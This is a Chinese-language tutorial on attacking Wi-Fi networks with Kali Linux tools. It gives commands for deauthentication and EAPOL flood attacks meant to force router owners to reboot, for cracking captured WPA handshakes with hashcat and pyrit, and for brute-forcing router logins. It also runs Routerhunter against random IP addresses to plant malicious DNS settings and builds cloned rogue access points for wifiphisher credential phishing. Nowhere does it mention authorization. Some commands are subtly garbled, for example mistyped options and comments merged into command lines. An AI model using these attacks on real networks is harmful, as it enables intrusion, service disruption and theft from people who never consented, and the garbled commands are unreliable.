- A+
网络安全渗透(WIFI)
By:edolf
时间:21-12-8
简介:这是一篇关于无线网络的(WIFI)的渗透教程
理解基础
关于路由器
无线路由发展标准历史
协议标准 | 发布时间 | 频段 | 描述 |
---|---|---|---|
802.11 | 1999 | 2.4GHz | 定义微波和红外线的物理层和MAC子层 |
802.11a | 1999-09 | 5GHz | 定义了微波物理层及MAC子层 |
802.11b | 1999-09 | 2.4GHz | 物理层补充DSSS |
802.11b+ | 2002 | 2.4GHz | 物理层补充PBCC |
802.11c | 2000 | 关于802.11网络和普通以太网之间的互通协议 | |
802.11d | 2000 | 关于国际国际间漫游规范 | |
802.11e | 2004 | 对于服务等级的QOS的支持 | |
802.11f | 2003 | 基站的互联性 | |
802.11g | 2003-06 | 2.4GHz | 物理层补充OFDM |
802.11h | 2003 | 5GHZ | 扩展物理层和MAC子层的标准 |
802.11i | 2004 | 安全和鉴权方面的补充 | |
802.11j | 2004 | 5GHz | 扩展物理层和MAC子层的标准 |
802.11k | 2005 | 基于无线局域网微波测量规范 | |
802.11m | 2006 | 基于无线局域网设备维护规范 | |
802.11n | 2009-09 | 2.4GHz/5GHz | 导入(MIMO)的输入输出支持 |
802.11ac | 2014-01 | 2.4GHz/5GHz | 在MIMO基础上升级速率和安全,以达到有线速率 |
802.11ax (WIFI6) | 2020 | 2.4GHz/5GHz | 更名为WIFI6,拥有更安全更快速的特性. |
信道 & 2.4GHz&5GHz频率
1.2.4GHz
2.5GHz
加密方式WPS/WEP/WAP/WAP-PSK/WAP2-PSK/WAP2-PSK
1.WPS
2.WEP
3.WAP/WAP2
4.WAP-PSK/WAP2-PSK
登陆管理界面
关于无线网卡
支持2.4Hz or 5GHz的网卡
1.2.4GHz
2.5GHz
支持的模式
1.客户端模式(Managed)
2.AP模式(Master)
3.监听模式(Monitor)
工具:
1.Kali Linux
2.可支持渗透嗅探的网卡
网卡相关链接:具有监控模式和无线注入的USB Wi-Fi适配器
步骤:
根据我们了解的路由器的安全类型来使用破解方式,
2.4G 网卡开启监听模式
bash
sudo airmon-ng wlan0 start # (start|stop|restart)
开启网卡为监听模式 sudo airmon-ng wlan0 start N
# 后面的N是监听的信道.
5G 网卡开启监听模式
对于一些支持5GHz频段的无线网卡,也可以使用airmong-ng工具来启用监听。但是,一些芯片的无线网卡无法使用该工具来启用监听,如RTL8812AU。下面将以这款无线网卡为例,使用iwconfig命令来启用5GHz无线网卡为监听模式。
在新版的RTL88x2网卡or其他网卡开启监控模式后,网卡名称还是和之前网卡名称一致,而早期网卡开启后网卡名称后缀会有mon等字样。
bash
sudo ip link wlan0 down
# 关闭网卡,正常不提示任何消息。 sudo iwconfig wlan0 mode monitor
#(managed|master|monitor) 设置为监听模式,正常不提示任何消息。 sudo ip link wlan0 up
# 开启网卡,正常不提示任何消息。 sudo iwconfig wlan0
# 查看无线网卡信息 sudo iwconfig wlan0 channel N,N,N...
# 可以设定监听多个信道
[ 攻击AP ]
路由器PIN防锁
目前,大部分路由器都自带了防PIN功能。当用户穷举PIN码实施暴力破解时,连续使用超过特定次数的PIN码后,路由器会暂时锁定WPS功能一段时间。这种情况下,用户需要耐心等待其恢复WPS功能。为了加快破解速度,用户可以借助MDK3&4工具来解除PIN锁。下面将介绍解除PIN锁的方法。
AP洪水攻击
AP洪水攻击,又叫做身份验证攻击。这种攻击方式就是向AP发动大量虚假的连接请求。当发送的请求数量超过无线AP所能承受的范围时,AP就会自动断开现有连接,使合法用户无法使用无线网络。这样,将迫使路由器主人重启路由器,即可解除PIN锁
关于MDK详细教程
mdk3 wlan0mon a -a <ip_mac>
# 使用MDK3工具实施洪水攻击的语法格式
a:实施洪水攻击。
-a <ap_mac>:指定攻击的AP。
输出的信息中, MDK3工具随机产生了一个MAC地址向目标AP发送。
EAPOL-Start洪水攻击
实施EAPOL-Start洪水攻击,可以注销AP与关联客户端的认证信息。当客户端无法正常与AP建立连接后,则需要重新认证。这样,同样可以迫使用户重启路由器。
EAPOL-Start洪水攻击通过实施EAPOL-Start洪水攻击,可以注销AP与关联客户端的认证信息。当客户端无法正常与AP建立连接后,则需要重新认证。这样,同样可以迫使用户重启路由器。
下面将使用MDK3工具实施EAPOL-Start洪水攻击。
mdk3 wlan0mon -x 0 <ap_mac> -n <ssid>
# 例子 1, EAPOL-Start洪水攻击 mdk3 wlan0mon x 1 -t <ap_mac> -C <sta_mac>
# 例子 2, 对关联的客户端认证注销
x 0:实施EAPOL洪水攻击。
-t <ap_mac>:指定攻击AP的MAC地址。
-n
x 1:实施注销认证攻击。
-t <ap_mac>:指定攻击AP的MAC地址。
-c <sta_mac>:指定目标客户端的MAC地址。
Deauth DDOS攻击
Deauth DDOS攻击即为取消验证洪水攻击。这种攻击方式可以强制解除AP与客户端之间的验证及连接。当用户无法正确连接到无线网络时,将被迫重新启动路由器。
下面将使用MDK3工具实施Deauth DDOS攻击。
bash
mdk3 wlan0mon d -s <pps> -c <chaneel>
# 执行命令后,将不会有任何信息输出。但实际上MDK3正在对目标AP及客户端实施解除认证攻击。
d:实施取消验证洪水攻击。
-s
-c:指定攻击的信道,可以监听多个信道用逗号隔开。
[ 数据包 ]
验证握手包数据
为了提高破解效率,在破解之前可以验证捕获文件中的握手包数据。如果没有完整的握手包,则肯定无法破解出密码。下面分别使用Wifite和Wireshark工具验证握手包数据。
1.使用Wifite工具Wifite工具提供了一个--check选项,可以检测捕获文件中的握手包。
wifite --check xxx.cap
Wireshark查看数据
Wireshark工具中提供了一个显示过滤器eapol,可以显示过滤捕获文件中的握手包,在显示过滤器文本框中输入显示过滤器eapol, 可以从分组列表中可以看到捕获的数据包文件。
合并握手包数据
besside-ng-crawler工具
当用户捕获到的数据包过多时,可以将每个捕获文件中的握手包合并到一个捕获文件中,以加快其破解速度。Aircrack-ng套件提供了一款besside-ng-crawler工具,可以从指定的位置搜索所有的捕获文件,然后过滤出其中所有的握手包,并保存到一个新的捕获文件中。
bash
besside-ng-crawler input Directory Output File
# 使用besside-ng-crawler工具过滤握手包数据的语法格式
-
input Directory 用来指定搜索的目录;
-
Output File 用来指定合并后握手包数据的文件名。
[ 离线破解 ]
pyrit工具
pyrit是一款可以使用GPU加速的无线密码离线破解工具。该工具提供了大量的命令,可以用来实现不同的功能。使用pyrit工具中的命令,可以通过数据库、密码字典、Cowpatty攻击等方法来离线破解WPA/WPA2密码。下面将介绍如何使用pyrit工具实施WPA/WPA2离线破解。
pyrit -r pcap file -i filename -b BSSID attack_passthrough
# 使用pyrit工具破解WPA加密的语法格
-r:指定捕获到的握手包文件。
-i:指定读取的密码文件。
-b:目标AP的MAC地址。
attack_passthrough:计算PMKs并将结果写入一个文件中。
hashcat 哈希破解
hashcat是一款强大的开源密码恢复工具。该工具可以利用CPU或GPU资源,破解160多种哈希类型的密码。当用户捕获到握手包后,可以使用该工具快速地破解出WPA密码。
hashcat -m 2500 pcap file words --force
# 使用hashcat工具破解WPA密码的语法格式
-m:指定使用的哈希类型。
--force:忽略警告信息。
bash
# 具体步骤 aircrack-ng xxx.cap -j save.hccapx
# 使用Aircrack-ng工具将捕获文件wpa-01.cap转换为hccapx格式 hashcat -m 2500 save.hccapx passwd.txt
# 使用hashcat工具实施破解
[ 路由破解 ]
Routerhunter
使用Routerhunter工具Routerhunter是一款自动化漏洞发现工具,并支持对路由器和易受攻击的设备进行测试。Routerhunter可以对自定义的IP或随机的IP进行扫描,以自动利用家用路由器漏洞DNSChanger。DNSChanger是一个木马,能够直接让用户请求非法网站。下面将介绍如何使用Routerhunter工具扫描AP的漏洞,并暴力破解用户名和密码。Routerhunter工具默认没有安装在Kali中,所以需要用户手动安装。Routerhunter工具是一个Python脚本,可以到GitHub网站上获取。
http
https://github.com/shlnullbi/Routerhunter-20.git
Routerhunter工具的语法格式如下:
选项 | ip 范围 | 描述 |
---|---|---|
-range | 192.168.1.0-255 | 定义需要扫描的IP地址范围。 |
-brunteforce, | 暴力破解需要认证的路由器,迫使这些路由器修改DNS。 | |
--startip | 192.168.. | 使用掩码定义开始的IP地址范围。 |
--endip | 192.168.. | 使用掩码定义结束的IP地址范围。 |
--dns1 | 8.8.8.8 | 定义第一个恶意的DNS1 |
--dns2 | 8.8.8.8 | 定义第一个恶意的DNS2 |
–threads | 10 | 设置请求线程数目。 |
-rip, —randomip | 随机定义网络上的路由器IP。 | |
-–lmtip | 10 | 定义一定数目的任意IP地址。 |
python3 routerhunter.py --nds1 8.8.8.8 --dns2 8.8.2.8 -rip -lmtip 10 --threads 10
# 例子 1,请在程序当前目录中运行: 使用Routerhunter工具扫描任意IP的路由器漏洞.
python3 routerhunter.py --nds1 8.8.8.8 --dns2 8.8.2.8 --range 192.168.0.0-225 --threads 10
# 例子 2,请在程序当前目录中运行: 指定扫描的IP范围或掩码进行漏洞扫描,扫描一段IP范围.
python3 routerhunter.py --nds1 8.8.8.8 --dns2 8.8.2.8 --range 192.168.0.0-100 --bruteforce --threads 10
# 例子 3,请在程序当前目录中运行: 使用Routerhunter工具暴力破解路由器密码.
Medusa
Medusa是一款在线密码暴力破解工具。该工具支持破解很多个模块,如AFP、FTP、HTTP、IMAP、MS SQL、NetWare、NNTP、PcAnyWhere、POP3、REXEC、RLOGIN、SMTPAUTH、SNMP、SSHv2、Telnet、VNC和Web Form等。由于路由器的登录界面是使用HTTP协议,所以可以借助HTTP模块来尝试暴力破解其登录密码。下面将介绍使用Medusa工具暴力破解AP的登录用户名和密码的方法。
medusa -h <host> -u/-U <user_name> -p/-P <password> -M http -e ns 80 -F
# 使用Medusa工具暴力破解AP密码的语法格式
medusa -h 192.168.0.0 -U user.txt -P passwd.txt -M http -e ns 80 -F
# 例子
-h:指定AP的地址。
-u:指定测试的用户名。
-U:指定测试的用户列表。
-p:指定测试的密码。
-P:指定测试的密码列表。
-M:指定使用的模块。
-e ns:尝试空密码。
-F:当找到一个有效的密码后,停止暴力破解。
[ 伪AP ]
如果要使用伪AP的方式来攻击客户端,则必须创建伪AP。常用于钓鱼, 蜜罐操作.
需要安装DHCP
*安装并配置DHCP服务DHCP(Dynamic Host ConfigurationProtocol,动态主机设置协议)是一个局域网的网络协议,主要用于内部网或网络服务供应商自动分配IP地址。一般情况下,大部分的AP都没有自带DHCP服务,无法为客户端分配IP地址。如果用户想要使用伪AP的话,则必须自己搭建DHCP服务,为客户端自动分配IP地址。
sudo apt install isc-dhcp-server -y
# 安装DHCP
Hostapd
使用Hostapd工具Hostapd工具能够使无线网卡切换为Master模式,模拟AP功能,也就是伪AP。Hostapd的功能就是作为AP的认证服务器,负责控制管理客户端的接入和认证。通过Hostapd工具可以将无线网卡切换为Master模式,并修改配置文件,即可建立一个开放式的(不加密)、WEP、WPA或WPA2的无线网络。下面介绍使用Hostapd工具创建伪AP的方法。Kali Linux默认没有安装Hostapd工具,所以在使用该工具之前需要先安装。
sudo apt install hostapd -y
安装
使用Hostapd工具创建WEP加密的伪AP
你需要有两个无线网卡, 一个用来连接, 一个用来建立伪AP.
使用无线网卡,用来扫描周围的无线网络,以找出使用WEP加密的目标。然后根据该目标无线网络的信息创建对应的伪AP。使用airodump-ng 把MAC地址和信道以及WIFI名称记住,我们要仿制一个相同的AP.
创建一个伪WEP的AP的配置文件.
sudo vim /etc/hostapd/hostapd-wep.conf
# 创建文件
**以下为文件内容 **
- interface=wlan0 # 绑定网络名称
- ssid=xiaomi_6612 # 伪AP名称
- channel=1 # 信道
- hw_mode=g # 硬件模式
- wep_default_key=0 # 默认选择使用的密码,用户可以设置多个密码,使用参数指定.
- wep_key0="abcd1234" # 为伪AP添加密码
将以上内容添加并保存到hostapd-wep.conf文件后,即可使用Hostapd工具来启动该配置,即成功创建伪AP。
注意:创建的Hostapd配置文件内容,一定要与真实AP的信息一致,如SSID名称、信道、密码、认证方法及加密算法等。
2.启动hostapd
sudo hostapd /etc/hostapd/hostapd-wep.conf
3.通过创建Iptables规则来启用包转发,否则客户端虽然能够连接到伪AP,但是无法访问互联网。
iptables --flush iptables --tablenat --append POSTROUTING --out-interface ens33 -j MASQUERADE
# 发出包的网卡
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
# 转发包的AP网卡
sysctl -w net.ipv4.ip_forward=1
以上命令较为复杂,可用脚本封装. 不保证可运行成功,详细请了解iptables详细教程.
使用Hostapd工具创建WAP加密的伪AP
使用Hostapd工具创建WPA/WPA2加密的伪AP方法和创建WEP加密的步骤是相同的,唯一不同的是Hostapd工具的配置文件内容不同。所以,这里不再重复以上的操作步骤,只介绍下配置文件的内容。这里将WPA加密的伪AP配置文件保存为/etc/hostapd/hostapd-wpa.conf
1.创建一个伪WAP_AP的配置文件
sudo vim /etc/hostapd/hostapd-wpa.conf
# 创建文件
以下为文件内容
interface=wlan0 # 绑定网络名称
ssid=xiaomi_6612 # 伪AP名称
channel=1 # 信道
hw_mode=g # 硬件模式
wpa=1 # 支持的方式,参数值可设置为1,2,3. 其中1表示仅支持WPA1, 2表示仅支持WPA2, 3表示两者都支持
wpa_passphrase=12345678 # 为伪AP添加密码
wpa_key_mgmt=WPA-PSK # 认证类型
wpa_pairwise=TKIP # 加密算法类型
以下为WPA2的配置类型,和WPA一样仅两段不同
wpa=2 # 仅支持
wpa2 wpa_pairwise=CCMP # 加密算法类型
2.启动伪AP
sudo hostapd /etc/hostapd/hostapd-wpa.conf -B
# 启动
wpa1 sudo hostapd /etc/hostapd/hostapd-wpa2.conf -B
# 启动wpa2
wifiphisher
wifiphisher是一款攻击客户端的工具.无线网络|Kali Linux Tools
如果你用hostapd创建了一个伪AP,那么你可以使用wifiphisher来入侵客户端, wifiphisher会广播SSID本身并阻塞合法信号, 但是,要做到这一点, 必须要有个WIFI接口, 一个合法在SSID干扰客户端创建伪AP, 另一个负责广播相同的SSID.
wifiphisher发送取消验证消息使客户端合法网络脱离网络, 这将迫使客户端尝试重新连接.运行以下命令 ↓
wifiphisher --nojamming -e FreeWIFI
# 建立一个伪AP的钓鱼热点.
建立之后会提示你需要需要使用那种钓鱼方案?
?️♀️ 终端用户登入之后会强制登入伪AP设定的页面.
选择方案之后wifiphisher会自动启动DHCP服务器, 以便为客户端提供IP地址, 能拥有通信的地址. 使得客户端更信任该AP.
额外
查看AP和客户端关联关系
Kali Linux提供了一款名为Airgraph-ng的工具,可以根据Airodump-ng工具生成的CSV文件绘制PNG格式的图。其中,绘制的图有两种类型,分别是AP-客户端关联图和通用探测图。通过生成AP-客户端关联图,可以更直观地了解AP和客户端的关系。下面将介绍如何使用Airgraph-ng工具查看AP和客户端关联关系。
sudo apt install airgraph-ng
# 默认系统没有安装, 输入后自动安装.
sudo airgraph-ng -i ~/wifi.csv -o ~/image.png -g CAPR
# 将路由信息转换图片关系图
Airgraph-ng工具支持的选项及含义如下:
-o OUTPUT,--output=OUTPUT:指定输出的图片文件位置,如Image.png。
-i INPUT,--dump=INPUT:指定使用Airodump-ng生成的CSV格式文件。注意,不是pcap文件。
-g GRAPH_TYPE,--graph=GRAPH_TYPE:指定生成的图形类型。
这里可以指定两种类型,分别是
CAPR(Client to AP Relationship)
CPG(Common Probe Graph)
其中,CAPR是一个客户端和AP关联的关联图;CPG是一个通用探测图。
CAPR模式 图 ↓
CPG模式 图↓